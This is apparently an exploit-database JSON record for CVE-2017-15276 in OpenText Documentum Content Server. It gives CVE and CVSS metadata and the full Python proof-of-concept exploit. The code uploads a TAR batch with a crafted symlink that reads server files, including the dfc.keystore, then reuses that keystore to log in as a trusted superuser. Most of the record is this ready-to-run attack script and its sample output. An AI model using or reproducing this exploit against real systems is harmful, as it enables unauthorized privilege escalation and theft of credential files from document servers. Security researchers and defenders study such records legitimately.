{"exploit":{"id":"EDB-43002","name":"OpenText Documentum Content Server - Authenticated Directory Traversal / Privilege Escalation","description":"OpenText Documentum Content Server - Authenticated Directory Traversal / Privilege Escalation","cves":["CVE-2017-15276"],"author":"Andrey B. Panfilov","published":"2017-10-17","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/43002","path":"exploits/multiple/webapps/43002.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-43002.py","vulnerabilities":[{"id":"CVE-2017-15276","state":"PUBLISHED","title":null,"titleSource":null,"description":"OpenText Documentum Content Server (formerly EMC Documentum Content Server) through 7.3 contains the following design gap, which allows an authenticated user to gain superuser privileges: Content Server allows uploading content using batches (TAR archives). When unpacking TAR archives, Content Server fails to verify the contents of an archive, which causes a path traversal vulnerability via symlinks. Because some files on the Content Server filesystem are security-sensitive, this leads to privilege escalation.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-15276","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-15276"},"updatedAt":"2024-08-05T19:50:16.486Z","retrievedAt":"2026-11-27T10:08:50.788Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-43002.png?v=2","url":"https://exploitbin.com/exploits/EDB-43002","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-43002/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-43002/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\n\n# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)\n# contains following design gap, which allows authenticated user to gain privileges\n# of superuser:\n#\n# Content Server allows to upload content using batches (TAR archives), when unpacking\n# TAR archives Content Server fails to verify contents of TAR archive which\n# causes path traversal vulnerability via symlinks, because some files on Content Server\n# filesystem are security-sensitive the security flaw described above leads to\n# privilege escalation\n#\n# The PoC below demonstrates this vulnerability:\n#\n# MacBook-Pro:~ $ python CVE-2017-15276.py\n# usage:\n# OTDocumentumTarVulnerability.py host port user password\n# MacBook-Pro:~ $ python CVE-2017-15276.py docu72dev01 10001 dm_bof_registry dm_bof_registry\n# Trying to connect to docu72dev01:10001 as dm_bof_registry ...\n# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377  Linux64.Oracle\n# Downloading /u01/documentum/cs/product/7.2/bin/dm_set_server_env.sh\n# Creating malicious dmr_content object\n# Trying to find any object with content...\n#     Downloading /u01/documentum/cs/shared/config/dfc.keystore\n# Creating malicious dmr_content object\n# Trying to find any object with content...\n#     Trying to connect to docu72dev01:10001 as dmadmin ...\n# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377  Linux64.Oracle\n# P0wned!\n\n\nimport io\nimport socket\nimport sys\nimport tarfile\n\nfrom dctmpy import NULL_ID\n\nfrom dctmpy.docbaseclient import DocbaseClient\nfrom dctmpy.identity import Identity\nfrom dctmpy.obj.typedobject import TypedObject\n\nCIPHERS = \"ALL:aNULL:!eNULL\"\n\n\ndef usage():\n    print \"usage:\\n%s host port user password\" % sys.argv[0]\n\n\ndef main():\n    if len(sys.argv) != 5:\n        usage()\n        exit(1)\n\n    (session, docbase) = create_session(*sys.argv[1:5])\n\n    if is_super_user(session):\n        print \"Current user is a superuser, nothing to do\"\n        exit(1)\n\n    admin_console = session.get_by_qualification(\n        \"dm_method where object_name='dm_JMSAdminConsole'\")\n    env_script = admin_console['method_verb']\n    env_script = env_script.replace('dm_jms_admin.sh', 'dm_set_server_env.sh')\n\n    keystore_path = None\n    script = str(download(session, env_script, bytearray()))\n    if not script:\n        print \"Unable to download dm_set_server_env.sh\"\n        exit(1)\n\n    for l in script.splitlines():\n        if not l.startswith(\"DOCUMENTUM_SHARED\"):\n            continue\n        keystore_path = l.split('=')[1]\n        break\n\n    if not keystore_path:\n        print \"Unable to determine DOCUMENTUM_SHARED\"\n        exit(1)\n\n    keystore_path += \"/config/dfc.keystore\"\n    keystore = str(download(session, keystore_path, bytearray()))\n\n    if not keystore:\n        print \"Unable to download dfc.keystore\"\n        exit(1)\n\n    (session, docbase) = create_session(\n        sys.argv[1], sys.argv[2],\n        session.serverconfig['r_install_owner'], \"\",\n        identity=Identity(trusted=True, keystore=keystore))\n    if is_super_user(session):\n        print \"P0wned!\"\n\n\ndef download(session, path, buf):\n    print \"Downloading %s\" % path\n\n    store = session.get_by_qualification(\"dm_store\")\n    format = session.get_by_qualification(\"dm_format where name='crtext'\")\n\n    print \"Creating malicious dmr_content object\"\n\n    session.apply(None, NULL_ID, \"BEGIN_TRANS\")\n\n    handle = session.make_pusher(store['r_object_id'])\n    if handle < 1:\n        print \"Unable to create pusher\"\n        end_tran(session, False)\n        exit(1)\n\n    (bytes, length) = create_tar(\"test\", path)\n    b = bytearray()\n    b.extend(bytes.read())\n\n    print \"Trying to find any object with content...\"\n    object_id = session.query(\n        \"SELECT FOR READ r_object_id \"\n        \"FROM dm_sysobject WHERE r_content_size>0\") \\\n        .next_record()['r_object_id']\n\n    content_id = session.next_id(0x06)\n\n    if not session.start_push(handle, content_id, format['r_object_id'], len(b)):\n        print \"Failed to start push\"\n        end_tran(session, False)\n        exit(1)\n\n    session.upload(handle, b)\n    data_ticket = session.end_push_v2(handle)['DATA_TICKET']\n\n    content = TypedObject(session=session)\n    content.set_string(\"OBJECT_TYPE\", \"dmr_content\")\n    content.set_bool(\"IS_NEW_OBJECT\", True)\n    content.set_id(\"storage_id\", store['r_object_id'])\n    content.set_id(\"format\", format['r_object_id'])\n    content.set_int(\"data_ticket\", data_ticket)\n    content.set_int(\"page\", 0)\n    content.set_string(\"page_modifier\", \"dm_batch\")\n    content.set_string(\"full_format\", format['name'])\n    content.set_int(\"content_size\", len(b))\n    content.set_bool(\"BATCH_FLAG\", True)\n    content.set_bool(\"IS_ADDRENDITION\", True)\n    content.set_id(\"parent_id\", object_id)\n    if not session.save_cont_attrs(content_id, content):\n        print \"Failed to create content\"\n        end_tran(session, False)\n        exit(1)\n\n    content = session.get_by_qualification(\n        \"dmr_content WHERE any (parent_id='%s' \"\n        \"AND page_modifier='%s')\" % (object_id, \"vuln\"))\n\n    handle = session.make_puller(\n        NULL_ID, store.object_id(), content['r_object_id'],\n        format.object_id(), data_ticket\n    )\n\n    if handle == 0:\n        end_tran(session, False)\n        raise RuntimeError(\"Unable make puller\")\n\n    for chunk in session.download(handle):\n        buf.extend(chunk)\n\n    end_tran(session, False)\n    return buf\n\n\ndef create_tar(linkname, linkpath):\n    bytes = io.BytesIO()\n    tar = tarfile.TarFile(fileobj=bytes, mode=\"w\", format=tarfile.GNU_FORMAT)\n    add_link(tar, linkname, linkpath)\n    text = io.BytesIO()\n    text.write(\"file_name='%s'\\n\" % linkname)\n    text.write(\"page_modifier='vuln'\\n\")\n    text.write(\"parameters=''\\n\")\n    tarinfo = tarfile.TarInfo(\"property.txt\")\n    tarinfo.size = text.tell()\n    text.seek(0)\n    tar.addfile(tarinfo, text)\n    tar.close()\n    length = bytes.tell()\n    bytes.seek(0)\n    return (bytes, length)\n\n\ndef add_link(tar, linkname, linkpath):\n    tarinfo = tarfile.TarInfo(linkname)\n    tarinfo.type = tarfile.SYMTYPE\n    tarinfo.linkpath = linkpath\n    tarinfo.name = linkname\n    tar.addfile(tarinfo=tarinfo)\n\n\ndef create_session(host, port, user, pwd, identity=None):\n    print \"Trying to connect to %s:%s as %s ...\" % \\\n          (host, port, user)\n    session = None\n    try:\n        session = DocbaseClient(\n            host=host, port=int(port),\n            username=user, password=pwd,\n            identity=identity)\n    except socket.error, e:\n        if e.errno == 54:\n            session = DocbaseClient(\n                host=host, port=int(port),\n                username=user, password=pwd,\n                identity=identity,\n                secure=True, ciphers=CIPHERS)\n        else:\n            raise e\n    docbase = session.docbaseconfig['object_name']\n    version = session.serverconfig['r_server_version']\n    print \"Connected to %s:%s, docbase: %s, version: %s\" % \\\n          (host, port, docbase, version)\n    return (session, docbase)\n\n\ndef is_super_user(session):\n    user = session.get_by_qualification(\"dm_user WHERE user_name=USER\")\n    if user['user_privileges'] == 16:\n        return True\n    group = session.get_by_qualification(\n        \"dm_group where group_name='dm_superusers' \"\n        \"AND any i_all_users_names=USER\")\n    if group is not None:\n        return True\n\n    return False\n\n\ndef end_tran(session, commit=False):\n    obj = TypedObject(session=session)\n    obj.set_bool(\"COMMIT\", commit)\n    session.apply(None, NULL_ID, \"END_TRANS\", obj)\n\n\nif __name__ == '__main__':\n    main()","sha256":"76a5a39e7cb6551bc27d7ce41036d9aa2c7c563629d4ebdf2aa39c3cb93a7346","bytes":7604,"fetchedAt":"2026-11-27T10:08:49.686Z","encoding":"utf-8 (display only; download retains original bytes)"}